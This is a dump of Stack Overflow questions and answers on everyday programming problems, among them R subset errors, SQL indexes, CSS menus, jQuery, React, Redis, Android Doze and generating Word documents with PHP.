35451042	0	Byte code version mismatch when using subset <p>I have been working on the same R script now for 5 months, had some minor coding problems, but this morning I got a problem that makes me unable to run the whole script. To clean my imported data I use a lot of subset(), but this morning when running the code I got the Warning:</p> <pre><code>Error in subset(T23810, date &lt; as.Date("2015-10-22")) : byte code version mismatch </code></pre> <p>It appears that I only get this warning after trying to run a subset function, but it blocks my whole script at the moment. What could be the cause and solution for this?</p> <p><strong>EDIT: Reproducible example</strong></p> <pre><code>x = structure(list(names = structure(c(11L, 3L, 5L, 27L, 26L, 15L, 18L, 13L, 8L, 2L, 22L, 12L, 1L, 25L, 29L, 31L, 6L, 23L, 28L, 14L, 19L, 4L, 10L, 16L, 9L, 17L, 21L, 30L, 7L, 6L, 27L, 26L, 12L, 13L, 14L, 4L, 28L, 15L, 31L, 23L, 1L, 22L, 11L, 18L, 3L, 20L, 8L, 5L, 16L, 2L, 25L, 30L, 21L, 4L, 6L, 3L, 5L, 27L, 14L, 11L, 26L, 31L, 13L, 18L, 15L, 1L, 23L, 2L, 8L, 28L, 30L, 20L, 22L, 12L, 10L, 16L, 21L, 25L, 17L, 24L, 32L, 31L, 23L, 26L, 1L, 18L, 11L, 12L, 3L, 15L, 27L, 28L, 5L, 22L, 6L, 17L, 20L, 2L, 8L, 21L, 30L, 13L, 25L, 24L, 7L, 4L, 10L, 16L, 14L), .Label = c("50/50", "Babylon", "Big Rock Market", "Core Gut", "Customs House", "David's Dropoff", "David's Dropoff Deep", "Diamond Rock", "Giles Quarter", "Green Island", "Greer Gut", "Hole in the Corner", "Hot Springs", "Ladder Labyrinth", "Man O War", "Mount Michel", "Muck Dive", "Outer Limits", "Poriotes Point", "Porites Point", "Rays &amp; Anchors", "Shark Shoals", "Tedran", "Tent Boulders", "Tent Deep", "Tent Reef", "Tent Wall", "Third Encounter", "Torens Point", "Torrens Point", "Twilight Zone", "Wells Bay" ), class = "factor")), .Names = "names", row.names = c(NA, -109L ), class = "data.frame") </code></pre> <p>Then if I execute the following:</p> <pre><code>x[x=="Torens Point"] = "Torrens Point" x[x=="Poriotes Point"] = "Porites Point" x = droplevels(subset(x, names != "Muck Dive")) </code></pre> <p>I get the error: </p> <pre><code>Error in subset(x, names != "Muck Dive") : byte code version mismatch </code></pre>
31668833	0	remove unused/bad index to speed up response from table <p>Hi I have table with stat below</p> <pre><code>Rows : 4,639,162 Reserved : 7,183,216 KB Data : 5,978,536 KB Index Size : 1,199,840 KB Unused : 4,840 KB </code></pre> <p>I have used <code>sp_spaceused 'TableName'</code> for this stat.</p> <p>And table information is like below</p> <pre><code>index_name index_description index_keys IX_tbl_tablename_1 nonclustered located on PRIMARY lng_clientid, str_facility_mims, str_group, str_eq_circ_id, int_tml_no IX_tbl_tablename_fullreport nonclustered located on PRIMARY str_eq_circ_id, str_facility, str_group IX_tbl_tablename_lng_clientid nonclustered located on PRIMARY lng_clientid PK_tbl_tablename_1 clustered, unique, primary key located on PRIMARY lng_id, lng_clientid </code></pre> <p>I am not expert on index but does these index seems okay ?? </p> <p>EDIT : I am Concerned about different Index created and having some common columns. Eg : Clustered Index is created with lngid and clientid , but there is non-clustered index too with only clientid. So is okay ??</p>
6627981	0	 <p>Redis is fast, but it can't be as fast as a direct memory access. It requires constructing a request, posting it, waiting for a response, decoding that response, and returning that value to your application. Redis runs as a separate process, so you will have to pay this price for inter-process communication even when it is located on the same machine.</p> <p>That it is only twelve times slower by your benchmark is still impressive.</p>
12476551	0	 <p>In order to move from one page to another, you need to use a variable to show what page the user is currently reading. Previous and Next would then update the page number and display the appropriate page:</p> <pre><code>file = ['page1.txt', 'page2.txt', 'page3.txt', 'page4.txt'] pagecount = len(file) page = 1 # initialize to a default page if inp == '1': page = 1 read(file[page-1]) # pages are 1-4, subscripts are 0-3 # ... pages 2-4 go here elif inp == '+': # whatever key you use for Next page = min(page+1, pagecount) # don't go beyond last page read(file[page-1]) elif inp == '-': # switch statements use "if .. elif .. elif .. else" page = max(page-1, 1) read(file[page-1]) </code></pre> <p>After you get that version working, you can generalize it to allow an arbitrary number of pages by constructing the file name from the page number instead of storing filenames in a list. And you only need one "read" for your input loop -- since every key reads a page you can factor that out of each individual key.</p>
3314587	0	 <p>You need this:</p> <pre><code>#menuBar #test2 a:hover{ background:url("../images/btTest.jpg") no-repeat top; } </code></pre> <p>To be this:</p> <pre><code>#menuBar #test2:hover a { background:url("../images/btTest.jpg") no-repeat top; } </code></pre> <p>To get it to stick when you move to the <code>.subMenu</code>. This will not work for IE6 (if you care).</p> <p>Also these:</p> <pre><code>#menuBar #test2 a:hover + .subMenu { //submenu show up display:block; } #menuBar li .subMenu:hover { //keep submenu show up when hover in submenu display: block; } </code></pre> <p>Should be able to be replaced with just this:</p> <pre><code>#menuBar li:hover .subMenu { display: block; } </code></pre>
2723779	0	 <p>If you want the file and line numbers, you do not need to parse the StackTrace string. You can use System.Diagnostics.StackTrace to create a stack trace from an exception, with this you can enumerate the stack frames and get the filename, line number and column that the exception was raised. Here is a quick and dirty example of how to do this. No error checking included. For this to work a PDB needs to exist with the debug symbols, this is created by default with debug build.</p> <pre><code>using System; using System.Diagnostics; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { try { TestFunction(); } catch (Exception ex) { StackTrace st = new StackTrace(ex, true); StackFrame[] frames = st.GetFrames(); // Iterate over the frames extracting the information you need foreach (StackFrame frame in frames) { Console.WriteLine("{0}:{1}({2},{3})", frame.GetFileName(), frame.GetMethod().Name, frame.GetFileLineNumber(), frame.GetFileColumnNumber()); } } Console.ReadKey(); } static void TestFunction() { throw new InvalidOperationException(); } } } </code></pre> <p>The output from the above code looks like this</p> <pre> D:\Source\NGTests\ConsoleApplication1\Program.cs:TestFunction(30,7) D:\Source\NGTests\ConsoleApplication1\Program.cs:Main(11,9) </pre>
30321914	0	Callout click is not working in iPhone simulator 4s in iOS <p>I have created annotation view over current latitude and longitude and used image over it using custom annotation. It works fine and created custom callout using Apple example MapCallout <a href="https://developer.apple.com/library/ios/samplecode/MapCallouts/Introduction/Intro.html" rel="nofollow">https://developer.apple.com/library/ios/samplecode/MapCallouts/Introduction/Intro.html</a> [used flag portion to set image and click portion from purple pin notation ] but my click is working fine in iPhone simulator 5 and later but click not working in iPhone 4S simulator over callout, I have tried by many ways but did not get success. Can any one suggest what I have missed to set for iPhone 4s to run click over callout.</p> <p>My Code is as follows in view Annotation,</p> <pre><code>- (MKAnnotationView *)mapView:(MKMapView *)mapView viewForAnnotation:(id &lt;MKAnnotation&gt;)annotation { MKAnnotationView *returnedAnnotationView = nil; if([annotation isKindOfClass:[MAKRSampleAnnotation class]]) { returnedAnnotationView = [MAKRSampleAnnotation createViewAnnotationForMapView:self.mapView annotation:annotation]; // provide the annotation view's image returnedAnnotationView.image = [UIImage imageNamed:@"map_pointer_yellow.png"]; // trying to click using this in 4s , working in iPhone 5 and later UIButton *rightButton = [UIButton buttonWithType:UIButtonTypeDetailDisclosure]; [rightButton addTarget:nil action:nil forControlEvents:UIControlEventTouchUpInside]; ((MKPinAnnotationView *)returnedAnnotationView).rightCalloutAccessoryView = rightButton; return returnedAnnotationView; } return returnedAnnotationView; } </code></pre> <p>I have spent much time to fix this but not get luck to make it out.</p> <p>Thanks.</p>
11233344	0	 <p>A few suggestions:</p> <h2>ADJACENCY TEST</h2> <p>The test in FindAdjacent will only find diagonal neighbours at the moment</p> <pre><code> if (i != 0 &amp;&amp; j != 0) </code></pre> <p>If you also want to find left/right/up/down neighbours you would want to use</p> <pre><code> if (i != 0 || j != 0) </code></pre> <h2>ADJACENCY LOOP</h2> <p>I think your code looks suspicious in FindAdjacent at the line</p> <pre><code>for (vector&lt;Node*&gt;::iterator iter = mClosedList.begin(); iter != mClosedList.end(); iter++) </code></pre> <p>I don't really understand the intention here. I would have expected mClosedList to start empty, so this loop will never execute, and so nothing will ever get added to mOpenList.</p> <p>My expectation at this part of the algorithm would be for you to test for each neighbour whether it should be added to the open list. </p> <h2>OPENLIST CHECK</h2> <p>If you look at the <a href="http://en.wikipedia.org/wiki/A%2a_search_algorithm" rel="nofollow">A* algorithm on wikipedia</a> you will see that you are also missing the section starting</p> <pre><code>if neighbor not in openset or tentative_g_score &lt; g_score[neighbor] </code></pre> <p>in which you should also check in FindAdjacent whether your new node is already in the OpenSet before adding it, and if it is then only add it if the score is better.</p>
25695837	0	Setting up PHPMyAdmin on Amazon EC2 <p>I've installed PHPMyAdmin on my Amazon EC2 instance using the following:</p> <pre><code>yum --enablerepo=epel install phpmyadmin </code></pre> <p>Then symlinked it to /var/www/html with</p> <pre><code>ln -s /usr/share/phpmyadmin /var/www/html </code></pre> <p>When I navigate to /phpmyadmin in my browser, it gives me a 403 Forbidden saying I can't access /phpmyadmin/ on the server.</p> <p>Thanks for any help.</p>
26790091	0	 <p>I solved and I'm writing for the user having the same problem:</p> <p>Insert the option <code>cache:false</code> in the $.ajax method as below:</p> <pre><code>$.ajax({ url: options.path, data: options.data, method: options.method, success: options.success, cache: false, error: options.error &amp;&amp; function(){ location.href = Router.root; }, complete: function (request) { Devmanager.toolbar(request); NProgress.isStarted() &amp;&amp; NProgress.done(); } }); </code></pre>
36822396	0	 <p>Make a parent Component whose child will be <code>MyComponent</code></p> <pre><code>class ParentComponent extends React.Component { componentDidMount() { // make api call apiCall.then((data) =&gt; { this.setState({ reqData : data, }) }) } getComponentToRender() { if(typeof this.state.reqData === 'undefined') { return false; } else { return ( &lt;MyComponent data={result.data}/&gt; ) } } render() { const componentToRender = this.getComponentToRender(); return ( &lt;div&gt; &lt;componentToRender /&gt; &lt;/div&gt; ) } } </code></pre> <p>Now, render your ParentComponent irrespective of the api call. Once, the <code>ParentComponent</code> is mounted, it will automatically trigger the rendering of <code>MyComponent</code>.</p>
10399248	0	MYSQL accepts only root accounts <p>I've got a real big problem. I have LAMP on my computer. When I try to connect to mysql not with root account (via phpmyadmin) - phpmyadmin says that it cannot connect to mysql. So, I can connect to mysql only via root.</p>
14562537	0	 <p><code>this</code> is always a local variable and therefore it is overwritten in every function.</p> <p>What you might do is pointing to your class e.g. <code>var myClass = this;</code> and use <code>myClass</code> instead of <code>this</code>.</p> <pre><code> this.checkSections = function(){ var myClass = this; jQuery('#droppable #section').each( function() { nextId = jQuery(this).next().attr('id'); if (nextId != 'small' &amp;&amp; nextId != 'large'){ jQuery(this).remove(); myClass.sections --; myClass.followArticles = 0; }else{ articles = 0; obj = jQuery(this).next(); while (nextId == 'small' || nextId == 'large'){ articles++; obj = obj.next() nextId = obj.attr('id'); //alert(nextId); } myClass.followArticles = articles; alert(myClass .sections); } }); } </code></pre>
18109716	0	Avoid default activerecord primary index creation <p>I am trying to workout how to advise/tell activerecord not to create it's primary index by default.</p> <p>Anyone know how i can achieve this ?</p> <pre><code>class CreateHouse &lt; ActiveRecord::Migration def change create_table :houses do |table| table.string :name, :null =&gt; false, :unique =&gt; true table.integer :number, :null =&gt; false, :unique =&gt; true table.string :category, :null =&gt; false table.timestamps(:null =&gt; false) end add_index :houses, [:category, :number], :unique =&gt; true end end </code></pre> <p>THANKS</p>
25491750	0	removing commas from numbers in CSV file <p>I have a file that has many columns and I only need two of those columns. I am getting the columns I need using </p> <pre><code>cut -f 2-3 -d, file1.csv &gt; file2.csv </code></pre> <p>The issue I am having is that the first column is ID and once it gets past <code>999</code> it becomes <code>1,000</code> and so it is treated as an extra column now. I cant get rid of all commas because I need them to separate the data. Is there a way to use <code>sed</code> to remove commas that only show up between <code>0-9</code>? </p>
26505054	0	 <p>When compiling project A maven will first try to look-up the project dependencies B, C, D, E. He will look at the local repository (usually a hidden directory .m2 under user’s home directory) or a remote repository. </p> <p>In your case B, C, D, E are your local projects and not third-party so executing maven install for B, C, D, E. will compile them and copy them to local repository. When you do maven install on A they will not be compiled again.</p>
3894219	0	 <p>Solution:</p> <pre><code>SELECT tag, COUNT(*)AS tags_count FROM ( SELECT post_n, tag FROM tags ORDER BY post_n DESC LIMIT 20 ) AS temp GROUP BY tag HAVING tags_count&gt;=2 ORDER BY post_n DESC LIMIT 5 </code></pre> <p>Of course need to change limit in the first selection, otherwise there will be plenty to choose from.</p> <p>P. S. Sorry that is poorly formulated question, my english very bad.</p>
22923884	0	 <p>To understand why these kind of operations seem non-trivial in NoSQL implementations, it's good to think about why NoSQL exists (and has become very popular) at all.</p> <p>When you look at an early NoSQL implementation like memcached, the first use case was very simple, but very important: a blazingly fast cache for distributed data, to cache for example web page data. Very quickly stuff like clustering and sharding was added, so not all data has to be available everywhere at once at every single node in the cluster, but can be gathered on demand.</p> <p>NoSQL is very different from relational data storage. Don't overuse it. Consider relational databases as well, as they are sometimes far more suited for what you are trying to accomplish. In everything you design, ask yourself "Does this scale well?".</p> <p>Okay, back to your question. It is in general bad practice to do wildcard searches. You prepare your data in a way that you can retrieve your data in a scalable way.</p> <p>Redis is a very chique solution, allowing you to overcome a lot of NoSQL limitations in an elegant way.</p> <p>If getting "a list of all users" isn't something you have to do very often, or doesn't need to scale well, is always "I really always want <strong>all</strong> users" because it's for a daily scan anyway, use <code>HSCAN</code>. <code>SCAN</code> operations with a proper batch size don't get in the way of other clients, you can just retrieve your records a couple of thousand at a time, and after a few calls you've got everything.</p> <p>You can also store your users in a <code>SET</code>. There's no ordering in a set, so no pagination. It can help to keep your user names unique.</p> <p>If you want to do things like "get me all users that start with the letter 'a'", I'd use a <code>ZSET</code>. I'd wait a week or two for <code>ZRANGEBYLEX</code> which is just about to be released, in the works as we speak. Or use an ORM like Josiah Carlsons's 'rom' package.</p> <p>When you ask yourself "But now I have to do three calls instead of one when storing my data...?!": yup, that's how it works. If you need atomicity, use a Lua script, or MULTI+EXEC pipelining. Lua is generally easier.</p> <p>You can also ask yourself if using a <code>HSET</code> is needed. Do you need to retrieve the individual data members? Each key or member has some overhead. On top of that, <code>HGETALL</code> has a Big-O specification of <code>O(N)</code>, so it doesn't scale well. It might be better to serialize your row as a whole, using JSON or MsgPack, and store it in one <code>HSET</code> member, or just a simple <code>GET</code>/<code>SET</code>. Also read up on <code>SORT</code>.</p> <p>Hope this helps, TW</p>
1000153	0	 <p>You could also use this to check if the Visual Studio Designer is running the code: </p> <pre><code>public static bool DesignMode { get { return (System.Diagnostics.Process.GetCurrentProcess().ProcessName == "devenv"); } } </code></pre> <p>Then in Form_Load: </p> <pre><code>if (!DesignMode) { // Run code that breaks in Visual Studio Designer (like trying to get a DB connection) } </code></pre> <p>However, this is less elegant than using the <code>LicensManager.UsageMode</code>, but it works (until Microsoft changes the name of the process Visual Studio runs under). </p>
36200498	0	 <p>here is a slightly better solution that would still allow you to have nil values </p> <p>(please note that nil.to_i is 0 as well as any "text".to_i is also 0)</p> <pre><code>def my_method(str) Integer(str.gsub(/\s/, '')) rescue ArgumentError =&gt; e nil end </code></pre> <p>Example of use:</p> <pre><code>my_method('1000') =&gt; 1000 my_method('1 000') =&gt; 1000 my_method(' ') =&gt; nil my_method('some_text') =&gt; nil my_method('1.000') =&gt; nil my_method('1,000') =&gt; nil </code></pre> <p>If you want to treat <code>.</code> and <code>,</code> you can adapt the regex in gsub.</p>
36737499	0	 <p>You may want to draw a white rectangle the size of the entire canvas, beneath the actual content of the canvas.</p> <pre><code>// get the canvas 2d context var ctx = canvas.getContext('2d'); // set the ctx to draw beneath your current content ctx.globalCompositeOperation = 'destination-over'; // set the fill color to white ctx.fillStyle = 'white'; // apply fill starting from point (0,0) to point (canvas.width,canvas.height) // these two points are the top left and the bottom right of the canvas ctx.fillRect(0, 0, canvas.width, canvas.height); </code></pre> <p>You have to apply these lines before generating your toDataUrl() stream.</p> <p>Idea taken from: <a href="http://www.mikechambers.com/blog/2011/01/31/setting-the-background-color-when-generating-images-from-canvas-todataurl/" rel="nofollow">http://www.mikechambers.com/blog/2011/01/31/setting-the-background-color-when-generating-images-from-canvas-todataurl/</a></p>
39379716	0	 <p>You might be able to do this using a Base model such as:</p> <pre><code>@GET("mypath") Call&lt;MyBaseModel&lt;List&lt;MyModel&gt;&gt;&gt; getData(); </code></pre> <p>implement the Callback in the fragment as</p> <pre><code>Callback&lt;MyBaseModel&lt;List&lt;?&gt;&gt;&gt; </code></pre> <p>An example of an MyBaseModel would be:</p> <pre><code>public class MyBaseModel&lt;Data&gt; { private String page; private Data[] results; public String getPage() { return page; } public Data[] getResults() { return results; } } </code></pre> <p>The onResponse should return the:</p> <pre><code> Callback&lt;MyBaseModel&lt;?&gt;&gt; </code></pre> <p>then just check if the result is an instance of your model using 'instanceOf'</p>
23989913	0	 <p>Calculating the length of a floating-point number decimal representation doesn't make much sense, as its underlying representation is binary. For example 0.1 in decimal form yields an infinite number of digits in binary.</p> <p>C has no intrinsic decimal type, so you will have to represent your number with some ad-hoc type, and shave off insignificant digits on the right. C-strings are not the worse choice for that.</p>
6426802	0	 <p>You want a modal <strong>view</strong>. All <code>UIViewControllers</code> are able to present a modal view by using the following method:</p> <pre><code>[self presentModalViewController:yourViewController animated:YES]; </code></pre> <p>Check the Apple reference guides for more information and samples.</p>
30853179	0	 <p>Script <strong>program</strong>:</p> <pre><code>#!/bin/bash for file in "$@";do echo "$file" done </code></pre> <p>Run program:</p> <pre><code>path/to/program filename1.* path/to/program filename1.* filename2.* path/to/program filename1.ext1 filename1.ext2 etc... </code></pre>
15089599	0	Callback function issue jquery <p>I have an issue with an if in a callback function and I don't understand why.</p> <p>After clicking on a div, the text is changing as I would like, but after the first shot it doesn't work anymore.</p> <p>My code is :</p> <pre><code>&lt;div id="2"&gt;message&lt;/div&gt; &lt;div id="1"&gt;dfdfgdfgrr&lt;/div&gt; &lt;script src="jquery.js"&gt;&lt;/script&gt; &lt;script&gt; $(function () { $('#2').toggle(); function test() { $(document).on('click', '#1', function () { $('#2').toggle(300, function() { if($('#1').text('show')){ $('#1').text('hide'); }else{ $('#1').text('show'); } }); }); } test(); }); &lt;/script&gt; </code></pre> <p><a href="http://jsfiddle.net/manguo_manguo/cydjY/" rel="nofollow">http://jsfiddle.net/manguo_manguo/cydjY/</a></p>
26988098	0	how to adjust div width based on other div postion <p>I have two div's one is <code>div-content</code>(red color) and second is <code>div-content2</code>(yellow color).<code>div-content</code> size is 0 to 50% and <code>div-content2</code> size 50% to 100%.</p> <p>Now In my screen 50% <code>div-content</code> and 50% <code>div-content2</code></p> <p>I need <code>div-content1</code> drag left to right <code>div-content1</code> width is 70 .In that time <code>div-content2</code> will be 30.if <code>div-content2</code> drag right to left width is 65 , in that time <code>div-content</code> width 35</p> <p>finely when increases and content remain content will auto adjust So Please give me any Idea.</p> <p>I am now to Stackoverflow .if i wrong to write Please guided me . </p> <p>Thanks in Advanced </p>
10640235	0	Sending email directly from my OSX app <p>I'm working on an OSX app which will handle an opt-in mailing list. I have a database containing opt-in email addresses, and the goal is for the user to click one button and have the app build a custom email update, then send out an email update to all members of the mailing list. This would be used for things such as updating fans about a band's performance, etc.</p> <p>I found lots of information for the iOS mailComposer, but nothing for something comparable in OSX. I did find a reference to a message framework, but for some reason can not find the documentation for it in the library (I'm sure it must be there somewhere...) The only other information I found suggested using a mailto: URL, which somewhat defeats the automated process I'm hoping to achieve.</p> <p>Can anyone point me in the right direction? Is there a specific framework I could research to determine how to active this goal?</p>
31661277	0	 <p>At the end of the code you missed one )</p> <pre><code>else { console.log("I'll keep practicing coding and racing.") } </code></pre>
27086850	0	 <p>The problem is that when you try to <code>getWidth</code>, your <code>ImageView</code> have not been appeared on the screen, so it always returns 0. So there are two ways, you can get the width:</p> <p><strong><em>First way</em></strong></p> <p>You need to <code>measure</code> your <code>ImageView</code> and then get the <code>measuredWidth</code>:</p> <pre><code>holder.photoPost = (ImageView) convertView.findViewById(R.id.photoPost); holder.photoPost.measure(View.MeasureSpec.UNSPECIFIED, View.MeasureSpec.UNSPECIFIED); int targetHeight = holder.photoPost.getMeasuredWidth() * (9/16); </code></pre> <p><strong><em>Second way</em></strong></p> <p>Add <code>onGlobalLayoutListener</code> to your <code>ImageView</code> and then, you will be able to get the width:</p> <pre><code>holder.photoPost = (ImageView) convertView.findViewById(R.id.photoPost); holder.photoPost.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { @Override public void onGlobalLayout() { if (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.JELLY_BEAN) { holder.photoPost.getViewTreeObserver() .removeOnGlobalLayoutListener(this); } else { holder.photoPost.getViewTreeObserver() .removeGlobalOnLayoutListener(this); } int targetHeight = holder.photoPost.getWidth() * (9/16) } }); </code></pre>
33179790	0	 <p>I use to think about a reference as an alias for another object. If you apply this to people, the alias is a nickname.</p> <p>For example, if you have:</p> <pre><code>Person Robert; Person&amp; Bob = Robert; </code></pre> <p>you only have one person, but you sometimes call him Robert and sometimes call him Bob. But he is still the same person. </p> <p>Trying to involve Bob's address into this just makes it harder. I find it easier to just consider references at the abstract level - two names for the same thing.</p>
13727723	0	 <p><strong>val</strong> and <strong>text</strong> are functions, you must add () to call them and get their results. If you juste write <strong>val</strong> or <strong>text</strong>, it's the reference to the function itself (and in js, a function is an object).</p> <pre><code>myfield.val( mytext.text() ); </code></pre> <p>this will set the value of input field 'myfield' with the text inside the element 'mytext'</p> <p>Try to do the same in your code</p> <pre><code>$("#TheForm #LessonNumber1 #LineNumber1 #Speaker").val( $('your_selector').text() ); </code></pre>
3804134	0	 <p>Here's an alternative for you:</p> <pre><code>DateTime.Now.ToString("d", new CultureInfo("de-DE")) </code></pre> <p>German's use <code>.</code> as the date separator.</p>
29297508	0	 <p>Don't panic, the World has been saved. The solution is to wrap Airborne and whatever else in a module:</p> <pre><code>module MyHelpers include Airborne include Capybara::DSL end </code></pre> <p>Then pass that:</p> <pre><code>World(MyHelpers) </code></pre>
3428771	0	 <blockquote> <p>3: Lastly he asked if it is possible to used Singleton Object with Clusters with explanation and is there any way to have Spring not implement Singleton Design Pattern when we make a call to Bean Factory to get the objects ?</p> </blockquote> <p>The first part of this question is hard to answer without a technological context. If the cluster platform includes the ability to make calls on remote objects as if they were local objects (e.g. as is possible with EJBs using RMI or IIOP under the hood) then yes it can be done. For example, the JVM resident singleton objects could be proxies for a cluster-wide singleton object, that was initially located / wired via JNDI or something. But cluster-wide singletons are a potential bottleneck because each call on one of the singleton proxies results in an (expensive) RPC to a single remote object.</p> <p>The second part of the question is that Spring Bean Factories can be configured with different scopes. The default is for singletons (scoped at the webapp level), but they can also be session or request scoped, or an application can define its own scoping mechanism.</p>
32368621	0	 <p>Try this</p> <pre><code> DataTable dt1 = new DataTable(); dt1.Columns.Add("Name", typeof(string)); dt1.Rows.Add(new string[] {"Mani"}); dt1.Rows.Add(new string[] {"Ram"}); dt1.Rows.Add(new string[] {"Guna"}); dt1.Rows.Add(new string[] {"Praveen"}); dt1.Rows.Add(new string[] {"Jai"}); DataTable dt2 = new DataTable(); dt2.Columns.Add("Name", typeof(string)); dt2.Rows.Add(new string[] {"kumar"}); dt2.Rows.Add(new string[] {"bharath"}); dt2.Rows.Add(new string[] {"ashok"}); dt2.Rows.Add(new string[] {"vikram"}); dt2.Rows.Add(new string[] {"san"}); DataTable dt3 = dt1.Copy(); foreach (DataRow row in dt2.AsEnumerable()) { dt3.Rows.Add(row.ItemArray); } dataGridView1.DataSource = dt3;​ </code></pre>
14486647	0	Google map does not load when load inline content using jquery load <p>I have an issue with google map. I load inline content (including content map) with jquery .load() and the map is doesn't load or it won't show. it just display blank.</p> <p>My code to load inline content with jquery load()</p> <pre><code>$('#content').load(' #content &gt; *', function(){ function initialize(address, num, zoom) { var geo = new google.maps.Geocoder(), latlng = new google.maps.LatLng(-34.397, 150.644), myOptions = { 'zoom': zoom, center: latlng, mapTypeId: google.maps.MapTypeId.ROADMAP }, map = new google.maps.Map(document.getElementById("map_canvas_" + num), myOptions); geo.geocode( { 'address': address}, function(results, status) { if (status == google.maps.GeocoderStatus.OK) { map.setCenter(results[0].geometry.location); var marker = new google.maps.Marker({ map: map, position: results[0].geometry.location }); } else { // status } }); }}); </code></pre> <p>As you can see, I have re-initialize the map but it still produce blank map not rendering map content.</p> <p>Here the map code in the html content that loaded.</p> <pre><code>&lt;script type="text/javascript"&gt; jQuery(document).ready(function() { initialize("'.$address.'",'.$num.','.$zoom.'); }); &lt;/script&gt; &lt;div class="shortcode map"&gt; &lt;div id="map_canvas_'.$num.'" style="display: block;width:'.$width.';height:'.$height.';" class="map-container"&gt;&amp;nbsp;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>Any workaround would be great.</p> <p>Regards,</p>
34606142	0	use panGestureRecognizer or touch events to drag and move an item ios <p>I am moving items in the view by touching them to the place where i leave it i am using touch events <code>touchesBegin</code> , <code>touchesMoved</code> , <code>touchesEnd</code><br> and in <code>touchesMoved</code> i move the item.frame to the new location and it works with me but then i found a code that use <code>panGestureRecognizer</code><br> and then i cant determine what to use </p> <p>the code to handle pan was </p> <pre><code>- (IBAction)handlePan:(UIPanGestureRecognizer *)recognizer { if (recognizer.state == UIGestureRecognizerStateBegan || recognizer.state == UIGestureRecognizerStateChanged) { CGPoint translation = [recognizer translationInView:self.superview]; CGPoint translatedCenter = CGPointMake(self.center.x + translation.x, self.center.y + translation.y); [self setCenter:translatedCenter]; [recognizer setTranslation:CGPointZero inView:self]; } </code></pre> <p><strong>given that i need the exact coordinates of the point i am touching</strong> </p>
6721447	0	 <p>I notice the first URL shows the location "houston" in the description text. The second URL attempts to show location in the title, showing Location Unknown instead. The second URL <strong>does</strong> show a location "NYC" in the description text. </p> <p>It may be your framework/library does not have the 'city' datum available at the time it is printing the title. </p>
35914341	0	 <h2>UPDATE</h2> <p>When the device is stationary again, with screen off and on battery for a period of time, Doze applies the full CPU and network restrictions on <strong>PowerManager.WakeLock, AlarmManager alarms, and GPS/Wi-Fi scans</strong>.</p> <p>Visit <a href="http://developer.android.com/intl/in/training/monitoring-device-state/doze-standby.html#whitelisting-cases" rel="nofollow">Use Cases for Whitelisting</a> for more detail.</p> <blockquote> <p>The table below highlights the acceptable use cases for requesting or being on the Battery Optimizations exceptions whitelist. In general, your app should not be on the whitelist unless Doze or App Standby break the core function of the app or there is a technical reason why your app cannot use GCM high-priority messages.</p> </blockquote> <p><a href="http://developer.android.com/intl/in/preview/api-overview.html#doze_on_the_go" rel="nofollow">android n developer</a> says</p> <p>Doze is particularly likely to affect activities that AlarmManager <strong>alarms</strong> and <strong>timers manage</strong>, because alarms in <strong>Android 5.1 (API level 22) or lower do not fire when the system is in Doze</strong>.</p> <p>Android 6.0 (API level 23) introduces two new AlarmManager methods: <code>setAndAllowWhileIdle()</code> and <code>setExactAndAllowWhileIdle()</code>. With these methods, you can set alarms that will fire even if the device is in Doze.</p> <p><strong>Note</strong>: Neither <code>setAndAllowWhileIdle()</code> nor <code>setExactAndAllowWhileIdle()</code> can fire alarms more than once per 15 minutes per app.</p> <p><a href="http://developer.android.com/intl/in/training/monitoring-device-state/doze-standby.html#testing_doze_and_app_standby" rel="nofollow">Testing with Doze and App Standby</a> </p>
2691167	0	 <p>A C# null is not the same as a database NULL.</p> <p>In your insertion code you probably need to pick up that the value is "N/A"/null and then insert a DBNull instead. What does your DB insertion code look like?</p>
11442677	0	 <p><a href="http://developer.android.com/guide/topics/data/data-storage.html#filesInternal" rel="nofollow">The documentation</a> has a pretty decent guide on how to best access the filesystem.</p>
38160571	0	Using PHP to Search and Replace POST vars in docx document <p>I am trying to do a search and replace on a Microsoft Word docx document. The odd problem I am having is that, of the 7 posted vars, 1 and 5 do not replace. In checking Chrome Tools, they all appear in the posted form data. The names are all spelled correctly too. </p> <p>To explain this code, I am opening a template doc, copying it to another name (the named file which will be downloaded), replacing text in document.xml, then replacing text in the footer. Then I close the file and download it. It downloads, except, the vars $pname and $hca2name do not replace inside of the document. All other vars are properly replaced.</p> <p>Any thoughts are very much appreciated. Thank you. Here is the code:</p> <pre><code>&lt;?php $pname = (string) $_POST['pname']; $countyres = (string) $_POST['countyres']; $a1name = (string) $_POST['a1name']; $a2name = (string) $_POST['a2name']; $hca1name = (string) $_POST['hca1name']; $hca2name = (string) $_POST['hca2name']; $atty = (string) $_POST['atty']; $countyres = (string) $_POST['countyres']; $fn = 'POA-'.$pname.'.docx'; $s = "docs_archive/PA-poas2no.docx"; $wordDoc = "POA-".$pname.".docx"; copy($s, $wordDoc); $zip = new ZipArchive; //This is the main document in a .docx file. $fileToModify = 'word/document.xml'; if ($zip-&gt;open($wordDoc) === TRUE) { //Read contents into memory $oldContents = $zip-&gt;getFromName($fileToModify); //Modify contents: $newContents = str_replace('{pname}', $pname, $oldContents); $newContents = str_replace('{a1name}', $a1name, $newContents); $newContents = str_replace('{a2name}', $a2name, $newContents); $newContents = str_replace('{hca1name}', $hca1name, $newContents); $newContents = str_replace('{hca2name}', $hca2name, $newContents); $newContents = str_replace('{atty}', $atty, $newContents); $newContents = str_replace('{countyres}', $countyres, $newContents); //Delete the old... $zip-&gt;deleteName($fileToModify); //Write the new... $zip-&gt;addFromString($fileToModify, $newContents); //Open Footer and change vars there $ft = 'word/footer1.xml'; $oldft = $zip-&gt;getFromName($ft); $newft = str_replace('{pname}', $pname, $oldft); $zip-&gt;deleteName($ft); $zip-&gt;addFromString($ft, $newft); $zip-&gt;close(); header('Content-Description: File Transfer'); header("Content-Type: application/force-download"); header('Content-Type: application/msword'); header('Content-Disposition: attachment; filename="'.$fn.'"'); header('Content-Transfer-Encoding: binary'); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); readfile($fn); unlink($fn); exit(); } ?&gt; </code></pre>
